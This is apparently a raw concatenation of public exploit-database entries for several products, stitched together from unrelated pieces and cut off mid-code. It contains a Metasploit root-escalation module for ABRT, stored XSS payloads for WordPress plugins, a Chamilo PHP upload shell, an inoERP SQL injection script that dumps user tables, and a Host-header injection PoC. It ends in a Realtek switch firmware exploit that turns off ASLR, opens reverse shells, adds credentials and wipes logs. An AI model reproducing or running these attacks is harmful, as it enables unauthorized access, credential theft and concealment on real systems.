json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)

print "Done."
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ABRT sosreport Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on RHEL systems with
        a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
        as the crash handler.

        `sosreport` uses an insecure temporary directory, allowing local users
        to write to arbitrary files (CVE-2015-5287). This module uses a symlink
        attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path
        in `/proc/sys/kernel/modprobe`, resulting in root privileges.

        Waiting for `sosreport` could take a few minutes.

        This module has been tested successfully on:

        abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and
        abrt 2.1.11-19.el7 on RHEL 7.1 x86_64.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rebel', # Discovery and sosreport-rhel7.py exploit
          'bcoles' # Metasploit
        ],
      'DisclosureDate' => '2015-11-23',
      'Platform'       => ['linux'],
      'Arch'           =>
        [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        => [[ 'Auto', {} ]],
      'References'     =>
        [
          ['BID', '78137'],
          ['CVE', '2015-5287'],
          ['EDB', '38832'],
          ['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'],
          ['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'],
          ['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'],
          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837']
        ]
    ))
    register_options [
      OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit',  [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def base_dir
    datastore['WritableDir']
  end

  def timeout
    datastore['TIMEOUT']
  end

  def check
    kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
    unless kernel_core_pattern.include? 'abrt-hook-ccpp'
      vprint_error 'System is not configured to use ABRT for crash reporting'
      return CheckCode::Safe
    end
    vprint_good 'System is configured to use ABRT for crash reporting'

    if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
      vprint_error 'abrt-ccp service not running'
      return CheckCode::Safe
    end
    vprint_good 'abrt-ccpp service is running'

    # Patched in 2.1.11-35.el7
    pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s
    abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1]
    if abrt_version.blank?
      vprint_status 'Could not retrieve ABRT package version'
      return CheckCode::Safe
    end
    unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7')
      vprint_status "ABRT package version #{abrt_version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "ABRT package version #{abrt_version} is vulnerable"

    unless command_exists? 'python'
      vprint_error 'python is not installed'
      return CheckCode::Safe
    end
    vprint_good 'python is installed'

    CheckCode::Appears
  end

  def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    chmod path
    register_file_for_cleanup path
  end

  def exploit
    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py')
    exe_name = ".#{rand_text_alphanumeric 5..10}"
    exe_path = "#{base_dir}/#{exe_name}"
    upload_and_chmodx exe_path, exe_data

    payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
    upload_and_chmodx payload_path, generate_payload_exe

    register_file_for_cleanup '/tmp/hax.sh'

    print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..."
    output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout
    output.each_line { |line| vprint_status line.chomp }
  end
end
            
# Exploit Title: WP Server Log Viewer 1.0 - 'logfile' Persistent Cross-Site Scripting
# Date: 2019-09-10
# Exploit Author: strider
# Software Link: https://github.com/anttiviljami/wp-server-log-viewer
# Version: 1.0
# Tested on: Debian 10 Buster x64 / Kali Linux
# CVE : None

====================================[Description]====================================
This plugin allows you to add logfiles via wp-admin. The problem here is that the file paths are stored unfiltered/unescaped. This gives the possibility of a persistent XSS attack.


====================================[Codepart]====================================

if( isset( $_GET['action'] ) && 'new' === $_GET['action'] && isset( $_GET['logpath'] ) ) {
      // new log was added
      $logs = get_option( 'server_logs' );
      if( is_null( $logs ) ) {
        $logs = [];
      }

      $log = trim( $_GET['logpath'] ); //only trimmed string no escaping
      $logs[] = $log; //here the log will be added without security checks
      $logs = array_values( $logs );

      $index = array_search( $log, $logs );

      update_option( 'server_logs', $logs );

      wp_safe_redirect( admin_url('tools.php?page=wp-server-log-viewer&log=' . $index) );
    }



====================================[Proof of Concept]====================================
Add new log file to the plugin.
paste this exploit into the form and submit it.

<img src=# onerror=alert(document.cookie);>log.txt

It tries to render an image and triggers the onerror event and prints the cookie. in the tab you see the log.txt
            
# Exploit Title: YzmCMS 5.3 - 'Host' Header Injection
# Exploit Author: Debashis Pal
# Vendor Homepage: http://www.yzmcms.com/
# Source: https://github.com/yzmcms/yzmcms
# Version: YzmCMS V5.3
# CVE : N/A
# Tested on: Windows 7 SP1(64bit),XAMPP: 7.3.9

#About YzmCMS
==============
YzmCMS is a lightweight open source content management system that uses OOP (Object Oriented) to develop its own framework.

#Vulnerability 
===============
Host Header Injection.


#PoC 
=====
#YzmCMS V5.3 Access Path: TARGET/yzmcms/

curl http://TARGET/yzmcms/ -H "Host: www.google.com" 

//sample output start

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
	  <title>YzmCMS - 演示站</title>
	  <link href="http://www.google.com/yzmcms/common/static/css/default_common.css" rel="stylesheet" type="text/css" />
	  <link href="http://www.google.com/yzmcms/common/static/css/default_index.css" rel="stylesheet" type="text/css" />
	  <script type="text/javascript" src="http://www.google.com/yzmcms/common/static/js/jquery-1.8.2.min.js"></script>
	  <script type="text/javascript" src="http://www.google.com/yzmcms/common/static/js/js.js"></script>
	  <script type="text/javascript" src="http://www.google.com/yzmcms/common/static/js/koala.min.1.5.js"></script> <!-- 焦点图js -->
	  <meta name="keywords" content="yzmcms,YzmCMS演示站,yzmcms站点" />
	  <meta name="description" content="本站是yzmcms演示站点" />
	  <meta http-equiv="mobile-agent" content="format=xhtml;url=http://TARGET/yzmcms/index.php?m=mobile">
      <script type="text/javascript">if(window.location.toString().indexOf('pref=padindex') != -1){}else{if(/AppleWebKit.*Mobile/i.test(navigator.userAgent) || (/MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE/.test(navigator.userAgent))){if(window.location.href.indexOf("?mobile")<0){try{if(/Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)){window.location.href="http://TARGET/yzmcms/index.php?m=mobile";}else if(/iPad/i.test(navigator.userAgent)){}else{}}catch(e){}}}}</script>
  </head>
  <body>
	   <!--mini登陆条-->
<div id="head_login">
<div class="w1000">
<div id="mini">
<a href="http://www.google.com/yzmcms/member/index/register.html" target="_blank">注册</a> <a href="http://www.google.com/yzmcms/member/index/login.html"  target="_blank">登录</a>
</div>
欢迎光临本站!
</div>
</div>
<!--网站容器-->
<div id="container">
<div id="header">
	<div id="logo">
	 <a href="http://TARGET/yzmcms/"><img src="http://www.google.com/yzmcms/common/static/images/logo.png" title="YzmCMS - 演示站" alt="YzmCMS - 演示站"></a>
	</div>
	<div id="search">
	<form method="get" action="http://www.google.com/yzmcms/index.php" target="_blank">
		<div id="searchtxt" class="searchtxt">
			<div class="searchmenu">	
			

//sample output End


#Solution
==========
Don’t trust the host header. Only allow whitelist hostnames. 


#Disclosure Timeline
====================
Vulnerability Discover Date: 18-Sep-2019
Vulnerability Notification To vendor via Email: 18-Sep-2019, no responds
Open issue in github : 22-Sep-2019, no responds
Submit exploit-db : 25-Sep-2019


#Disclaimer
==========
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
            
# Exploit Title: Chamillo LMS 1.11.8 - Arbitrary File Upload 
# Google Dork: "powered by chamilo"
# Date: 2018-10-05
# Exploit Author: Sohel Yousef jellyfish security team
# Software Link: https://chamilo.org/en/download/
# Version: Chamilo 1.11.8 or lower to 1.8 
# Category: webapps

# 1. Description
# Any registered user can upload files and rename and change the file type to 
# php5 or php7 by ckeditor module in my files section 

# register here :
# http://localhost/chamilo//main/auth/inscription.php
# after registration you can view this sections 
# http://localhost/chamilo/main/social/myfiles.php
# http://localhost/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0
# upload your shell in gif format and then rename the format 
# if the rename function was desabled and add this  GIF89;aGIF89;aGIF89;a   before <?PHP
# to be like this for examlple

GIF89;aGIF89;aGIF89;a<html>
 <head>
  <title>PHP Test</title>
  <form action="" method="post" enctype="multipart/form-data">
  <input type="file" name="fileToUpload" id="fileToUpload">
  <input type="submit" value="upload file" name="submit">
  </form>
 </head>
 <body>
 <?php echo '<p>FILE UPLOAD</p><br>';
 $tgt_dir = "uploads/";
 $tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']);
 echo "<br>TARGET FILE= ".$tgt_file;
 //$filename = $_FILES['fileToUpload']['name'];
 echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"];
 if(isset($_POST['submit']))
 {
 if(file_exists("uploads/".$_FILES["fileToUpload"]["name"]))
    { echo "<br>file exists, try with another name"; }
 else   {
         echo "<br>STARTING UPLOAD PROCESS<br>";
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$tgt_file))
        { echo "<br>File UPLOADED:- ".$tgt_file; }

          else  { echo "<br>ERROR WHILE UPLOADING FILE<br>"; }
    }
 }
?>
 </body>
</html>

# and uplaod it as php.gif
# you can browse the files form right click and click on browse option
            
# Exploit Title: inoERP 4.15 - 'download' SQL Injection
# Date: 2019-09-13
# Exploit Author: Semen Alexandrovich Lyhin
# Vendor Homepage: http://inoideas.org/
# Version: 4.15
# CVE: N/A

# A malicious query can be sent in base64 encoding to unserialize() function.
# It can be deserialized without any sanitization then.
# After it, it gets passed directly to the SQL query.


#!/bin/python

import os
import base64
import requests
import sys

def generatePayload(query):
    #THIS FUNCTION IS INSECURE BY DESIGN
    b64_query = base64.b64encode(query);
    return os.popen("php -r \"echo base64_encode(serialize(base64_decode('" + b64_query + "')));\"").read()
    

def ExecSQL(query):
    data = {"data":query,
            "data_type":"sql_query"}
         
    r = requests.post("http://" + ip + "/download.php", data=data)
    return r.content


if __name__ == "__main__":
    
    if len(sys.argv) != 3:
        print '(+) usage: %s <target> ' % sys.argv[0]
        print '(+) eg: %s 127.0.0.1 "ierp/" ' % sys.argv[0]
        exit()
    
    ip = sys.argv[1] + "/" + sys.argv[2]
    
    #if don't have php, set Payload to the next one to check this SQLi via "select @@version;" payload: czoxNzoic2VsZWN0IEBAdmVyc2lvbjsiOw== 
    
    data = r"select * from ino_user;"
    
    print ExecSQL(generatePayload(data));
            
# Exploit Title: all-in-one-seo-pack 3.2.7 - Persistent Cross-Site Scripting
# Google Dork: inurl:"\wp-content\plugins\all-in-one-seo-pack"
# Date: 2019-06-13
# Exploit Author: Unk9vvN
# Vendor Homepage: https://semperplugins.com/all-in-one-seo-pack-pro-version
# Software Link: https://wordpress.org/plugins/all-in-one-seo-pack/
# Version: 3.2.7
# Tested on: Windows 10
# CVE: N/A

# Description
# This vulnerability is in the validation mode and is located in  the all-in-one-seo-pack tab inside the  and the vulnerability type is stored . the vulnerability parameters are as follows.

1.Go to the 'all-in-one-seo-pack' tab
2.Select 'general settings' section 
3.Enter the payload in "Additional Front Page Headers","Additional Posts Page Headers" section
4.Click the "Update Options" option
4.Your payload will run on visit page


# URI: http://localhost/wordpress/wp-admin/admin.php?page=all-in-one-seo-pack
# Payload: "><script>alert(1)</script>

#
# PoC
#
POST /wordpress/wp-admin/admin.php?page=all-in-one-seo-pack%2Faioseop_class.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/admin.php?page=all-in-one-seo-pack%2Faioseop_class.php
Content-Type: multipart/form-data; boundary=---------------------------24442753012045
Content-Length: 8625
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------24442753012045
Content-Disposition: form-data; name="aiosp_front_meta_tags"

"><script>alert(1)</script>
-----------------------------24442753012045
Content-Disposition: form-data; name="aiosp_home_meta_tags"

"><script>alert(1)</script>
-----------------------------24442753012045

Content-Disposition: form-data; name="Submit"

Update Options »
-----------------------------24442753012045--


# Discovered by:
https://unk9vvn.com
            
# Exploit Title: Duplicate-Post 3.2.3 - Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2019-06-11
# Exploit Author: Unk9vvN
# Vendor Homepage: https://duplicate-post.lopo.it/
# Software Link: https://wordpress.org/plugins/duplicate-post/
# Version: 3.2.3
# Tested on: Kali Linux
# CVE: N/A

# Description
# This vulnerability is in the validation mode and is located in the plugin management panel and the vulnerability type is stored . the vulnerability parameters are as follows.

1.Go to the 'Settings' section
2.Enter the payload in the "Title prefix", "Title suffix", "Increase menu order by", "Do not copy these fields" sections
3.Click the "Save Changes" option
4.Your payload will run

# URI: http://localhost/wp-admin/options-general.php?page=duplicatepost
# Parameter & Payoad: 

duplicate_post_title_prefix="><script>alert(1)</script>
duplicate_post_title_suffix="><script>alert(1)</script>
duplicate_post_increase_menu_order_by="><script>alert(1)</script>
duplicate_post_blacklist="><script>alert(1)</script>


#
# PoC
#
POST /wp-admin/options.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/options-general.php?page=duplicatepost
Content-Type: application/x-www-form-urlencoded
Content-Length: 981
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

option_page=duplicate_post_group&action=update&_wpnonce=0e8a49a372&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dduplicatepost%26settings-updated%3Dtrue&duplicate_post_copytitle=1&duplicate_post_copyexcerpt=1&duplicate_post_copycontent=1&duplicate_post_copythumbnail=1&duplicate_post_copytemplate=1&duplicate_post_copyformat=1&duplicate_post_copymenuorder=1&duplicate_post_title_prefix=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duplicate_post_title_suffix=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duplicate_post_increase_menu_order_by=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duplicate_post_blacklist=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duplicate_post_roles%5B%5D=administrator&duplicate_post_roles%5B%5D=editor&duplicate_post_types_enabled%5B%5D=post&duplicate_post_types_enabled%5B%5D=page&duplicate_post_show_row=1&duplicate_post_show_submitbox=1&duplicate_post_show_adminbar=1&duplicate_post_show_bulkactions=1&duplicate_post_show_notice=1


# Discovered by:
https://t.me/Unk9vvN
            
#!/usr/bin/python2.7
#
"""

[Subject]

Realtek Managed Switch Controller (RTL83xx) PoC (2019 bashis)
https://www.realtek.com/en/products/communications-network-ics/category/managed-switch-controller

[Brief description]

1.	Boa/Hydra suffer of exploitable stack overflow with a 'one byte read-write loop' w/o boundary check. (all FW version and vendors affected)
	Note: The vulnerability are _not_ from Boa nor Hydra, coming from Realtek additional coding
2.	Reuse of code between vendors gives almost indentical exploitation of found vulnerabilities
3.	Two strcpy() vulnerable fixed buffers next to each others in same function make it easy for jumping in Big Endian

[Goals for this PoC]

1.	One Python PoC for all vendors
	Using dictionaries to have one 'template' for each vendor and another dictionary with unique details for each target, to be merged on the fly.
	The python code will read and use details from dictionary when verifying/exploiting

2.	Uniquely identify remote target
	ETag - Static and excellent tool for determine remote target, due to non-changing 'last modified' in same revision of Firmware

	ETag: xxxxx-yyyyy
	xxxxx = file size (up to 5 digits)
	yyyyy = last modified (up to 5 digits)

3.	Reverse shell
	MIPS Big Endian shellcode is the only option, as there are no 'netcat/telnet/stunnel.. etc' availible

4.	add/delete credentials for GUI/CLI
	Quite many of the firmware's has the 'option' to add valid credentials by unauthorized updating of 'running-config'
	For those who has added protection, we can add/delete credentials with an bit interesting jumping sequence

[Technical brief]
1.	Stack       - Read/Write/Executable (Using CMD injection in the PoC to turn off ASLR)
2.	Heap        - Read/Write/Executable (No need to turn off, ASLR not turned on for heap)
3.	fork        - Boa/Hydra using forking shellcode, as I want try restart Boa/Hydra to avoid DoS after successful reverse shell

Two vulnerable buffers with fixed size in same call, we overwrite $RA with four bytes, and overwrite first byte in $RA with second buffers NULL termination,
this allows us to jump within the binary itself, and passing arguments for the function we jumping to by tailing these with the original request

[Basically]
First buffer:         [aaaaaaaa][0x58xxxxxx]	('a' and 0x58 will be overwritten by second buffer)
Second buffer: [bbbbb][bbbbbbbb][0x00xxxxxx]	(NULL termination will overwrite 0x58)

[Known targets]

All below is fully exploitable, with following exception:
[*] ETag: 639-98866   [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.45]
[*] ETag: 639-73124   [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.37]

Not because they are not vulnerable, its because 1) their heap addresses lays at the '0x478000-0x47a000' range,
and 2) they using obfuscation 'encode' for the password (99 bytes max), we can never reach the 'two buffers' jump method.
[They are still fully exploitable with the Boa/Hydra vulnerability]

Note:
In this PoC I have only implemented few affected versions, in reality there is many more models and FW version affected.


$ ./Realtek-RTL83xx-PoC.py --etag help

[*] Realtek Managed Switch Controller RTL83xx PoC (2019 bashis)
[*] RHOST: 192.168.57.20
[*] RPORT: 80
[*] LHOST: 192.168.57.1
[*] LPORT: 1337
[+] Target: List of known targets

[*] ETag: 225-51973   [Cisco Systems, Inc. Sx220 v1.1.3.1]
[*] ETag: 225-60080   [Cisco Systems, Inc. Sx220 v1.1.4.1]
[*] ETag: 752-76347   [ALLNET GmbH Computersysteme ALL-SG8208M v2.2.1]
[*] ETag: 225-21785   [Pakedgedevice & Software Inc SX-8P v1.04]
[*] ETag: 222-71560   [Zyxel Communications Corp. GS1900-24 v2.40_AAHL.1_20180705]
[*] ETag: 14044-509   [EnGenius Technologies, Inc. EGS2110P v1.05.20_150810-1754]
[*] ETag: 13984-12788 [Open Mesh, Inc. OMS24 v01.03.24_180823-1626]
[*] ETag: 218-22429   [PLANET Technology Corp. GS-4210-8P2S v1.0b171116]
[*] ETag: 218-7473    [PLANET Technology Corp. GS-4210-24T2S v2.0b160727]
[*] ETag: 752-95168   [DrayTek Corp. VigorSwitch P1100 v2.1.4]
[*] ETag: 225-96283   [EDIMAX Technology Co., Ltd. GS-5424PLC v1.1.1.6]
[*] ETag: 225-63242   [EDIMAX Technology Co., Ltd. GS-5424PLC v1.1.1.5]
[*] ETag: 224-5061    [CERIO Corp. CS-2424G-24P v1.00.29]
[*] ETag: 222-50100   [ALLNET GmbH Computersysteme ALL-SG8310PM v3.1.1-R3-B1]
[*] ETag: 222-81176   [Shenzhen TG-NET Botone Technology Co,. Ltd. P3026M-24POE (V3) v3.1.1-R1]
[*] ETag: 8028-89928  [Araknis Networks AN-310-SW-16-POE v1.2.00_171225-1618]
[*] ETag: 222-64895   [Xhome DownLoop-G24M v3.0.0.43126]
[*] ETag: 222-40570   [Realtek RTL8380-24GE-4GEC v3.0.0.43126]
[*] ETag: 222-45866   [Abaniact AML2-PS16-17GP L2 v116B00033]
[*] ETag: 14044-44104 [EnGenius Technologies, Inc. EWS1200-28TFP v1.07.22_c1.9.21_181018-0228]
[*] ETag: 14044-32589 [EnGenius Technologies, Inc. EWS1200-28TFP v1.06.21_c1.8.77_180906-0716]
[*] ETag: 609-31457   [NETGEAR Inc. GS750E ProSAFE Plus Switch v1.0.0.22]
[*] ETag: 639-98866   [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.45]
[*] ETag: 639-73124   [NETGEAR Inc. GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP v6.0.0.37]


[*] All done...

[Other vendors]
These names have been found within some Firmware images, but not implemented as I have not found any Firmware images.
(However, I suspect they use exact same Firmware due to the traces are 'logo[1-10].jpg/login[1-10].jpg')

[*] 3One Data Communication, Saitian, Sangfor, Sundray, Gigamedia, GetCK, Hanming Technology, Wanbroad, Plexonics, Mach Power

[Known bugs]
1.	Non-JSON:
	'/mntlog/flash.log' and '/var/log/flash.log' not always removed when using 'stack_cgi_log()'
	(Must change value for 'flash.log' that needs to be 0x02, 'flash.log' has value 0x00)

[Responsible Disclosure]
Working with VDOO since early February 2019 to disclosure found vulnerabilities to vendors
https://www.vdoo.com/blog/disclosing-significant-vulnerabilities-network-switches


[Technical details]
Please read the code

"""
# Have a nice day
# /bashis
#

import string
import sys
import socket
import argparse
import urllib, urllib2, httplib
import base64
import ssl
import hashlib
import re
import struct
import time
import thread
import json
import inspect
import copy

import hashlib
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto import Random
from random import randint

from pwn import * # pip install pwn

global debug
debug = False
global force
force = False

def DEBUG(direction, text):
	if debug:
		# Print send/recv data and current line number
		print "[BEGIN {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno)
		print "\n{}\n".format(text)
		print "[ END  {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno)
	return

class HTTPconnect:

	def __init__(self, host, proto, verbose, creds, Raw):
		self.host = host
		self.proto = proto
		self.verbose = verbose
		self.credentials = creds
		self.Raw = Raw
	
	def Send(self, uri, query_headers, query_data,ID,encode_query):
		self.uri = uri
		self.query_headers = query_headers
		self.query_data = query_data
		self.ID = ID
		self.encode_query = encode_query

		# Connect-timeout in seconds
		#timeout = 5
		#socket.setdefaulttimeout(timeout)

		url = '{}://{}{}'.format(self.proto, self.host, self.uri)

		if self.verbose:
			log.info("[Verbose] Sending: {}".format(url))

		if self.proto == 'https':
			if hasattr(ssl, '_create_unverified_context'):
				#log.info("Creating SSL Unverified Context")
				ssl._create_default_https_context = ssl._create_unverified_context

		if self.credentials:
			Basic_Auth = self.credentials.split(':')
			if self.verbose:
				log.info("[Verbose] User: {}, Password: {}".format(Basic_Auth[0],Basic_Auth[1]))
			try:
				pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
				pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
				auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
				opener = urllib2.build_opener(auth_handler)
				urllib2.install_opener(opener)
			except Exception as e:
				log.info("Basic Auth Error: {}".format(e))
				sys.exit(1)

		if self.query_data:
			#request = urllib2.Request(url, data=json.dumps(self.query_data), headers=self.query_headers)
			if self.query_data and self.encode_query:
				request = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers)
			else:
				request = urllib2.Request(url, data=self.query_data, headers=self.query_headers)

			if self.ID:
				request.add_header('Cookie', self.ID)
		else:
			request = urllib2.Request(url, None, headers=self.query_headers)
			if self.ID:
				request.add_header('Cookie', self.ID)
		response = urllib2.urlopen(request)
		#if response:
		#	print "[<] {} OK".format(response.code)

		if self.Raw:
			return response
		else:
			html = response.read()
			return html

#
# Validate correctness of HOST, IP and PORT
#
class Validate:

	def __init__(self,verbose):
		self.verbose = verbose

	# Check if IP is valid
	def CheckIP(self,IP):
		self.IP = IP

		ip = self.IP.split('.')
		if len(ip) != 4:
			return False
		for tmp in ip:
			if not tmp.isdigit():
				return False
		i = int(tmp)
		if i < 0 or i > 255:
			return False
		return True

	# Check if PORT is valid
	def Port(self,PORT):
		self.PORT = PORT

		if int(self.PORT) < 1 or int(self.PORT) > 65535:
			return False
		else:
			return True

	# Check if HOST is valid
	def Host(self,HOST):
		self.HOST = HOST

		try:
			# Check valid IP
			socket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP
			# Now we check if it is correct typed IP
			if self.CheckIP(self.HOST):
				return self.HOST
			else:
				return False
		except socket.error as e:
			# Else check valid FQDN name, and use the IP address
			try:
				self.HOST = socket.gethostbyname(self.HOST)
				return self.HOST
			except socket.error as e:
				return False

class Vendor:

	def __init__(self, ETag):
		self.ETag = ETag

	def random_string(self,length):
		self.length = length

		return "a" * self.length
		#return ''.join(random.choice(string.lowercase) for i in range(self.length))

	#
	# Source: https://gist.github.com/angstwad/bf22d1822c38a92ec0a9
	#
	def dict_merge(self, dct, merge_dct):
		""" Recursive dict merge. Inspired by :meth:``dict.update()``, instead of
		updating only top-level keys, dict_merge recurses down into dicts nested
		to an arbitrary depth, updating keys. The ``merge_dct`` is merged into
		``dct``.
		:param dct: dict onto which the merge is executed
		:param merge_dct: dct merged into dct
		:return: None
		"""
		for k, v in merge_dct.iteritems():
			if (k in dct and isinstance(dct[k], dict)
					and isinstance(merge_dct[k], collections.Mapping)):
				self.dict_merge(dct[k], merge_dct[k])
			else:
				dct[k] = merge_dct[k]


	#
	# Difference between vendors and Firmware versions.
	# The update code will search below and update the template on the fly
	# (you can tweak and add code in the template from here)
	#
	# ETag - excellent tool for determine the target
	#
	# ETag: xxxxx-yyyyy
	# xxxxx = file size (up to 5 digits)
	# yyyyy = last modified (up to 5 digits)
	#
	def dict(self):

		Vendor_ETag = {
			#
			# PLANET Technology Corp.
			#
			# CGI Reverse Shell      : Yes
			# Boa/Hydra reverse shell: Yes
			# Del /var/log/ram.log   : Yes
			# Del /var/log/flash.log : No
			# Del /mntlog/flash.log  : No
			# Add credentials        : Yes
			# Del credentials        : Yes
			#
			'218-22429': {
				'template':'Planet',					# Static for the vendor
				'version':'1.0b171116',					# Version / binary dependent stuff
				'model':'GS-4210-8P2S',				# Model
				'uri':'https://www.planet.com.tw/en/product/GS-4210-8P2S',
				'exploit': {
					'heack_hydra_shell': {
														# /sqfs/bin/boa; embedparse() 
						'gadget': 0x40E04C,				# Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent)
														# /sqfs/bin/boa; read_body(); 
						'system': 0x8f99851c,			# la $t9, system) # opcode, binary dependent
														# /sqfs/bin/boa; read_body(); 
						'handler': 0x2484029c,			# addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent)
						'v0': 7,						# Should leave as-is (but you can play between 5 - 8)
						'vulnerable': True,
					},
					'stack_cgi_add_account': {
						'vulnerable': False,
					},
					'stack_cgi_del_account': { #
						'vulnerable': False,
					},
					'stack_cgi_diag': {
						# Ping IPv4
						'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&count=1',
						'verify_uri':'/tmp/check',
						'web_sys_ping_post':0x423B9C,	# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_ping_post()
						# traceroute
						#'sys_ping_post_cmd':'ip=127.0.0.1 ; echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/check;&tr_maxhop=30&count=1',
						#'verify_uri':'/tmp/check',
						#'web_sys_ping_post':0x4243FC,	# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_sys_trace_route_post()
						'vulnerable': True,
					},
					'stack_cgi_log': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_setting_post()
						'log_settings_set':0x489368,	# Jump one after 'sw $ra'			# Disable Logging (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_ramClear':0x48AB84,		# Jump one after 'sw $ra'			# Clean RAM log (address, binary dependent)
														# /sqfs/home/web/cgi-bin/dispatcher.cgi;  web_log_file_del()
						'log_fileClear':0x48C240,		# Jump one after 'sw $ra'			# Clean FILE log (address, binary dependent)
						'vulnerable': True,
					},
					'stack_cgi_sntp': {
														# /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post()
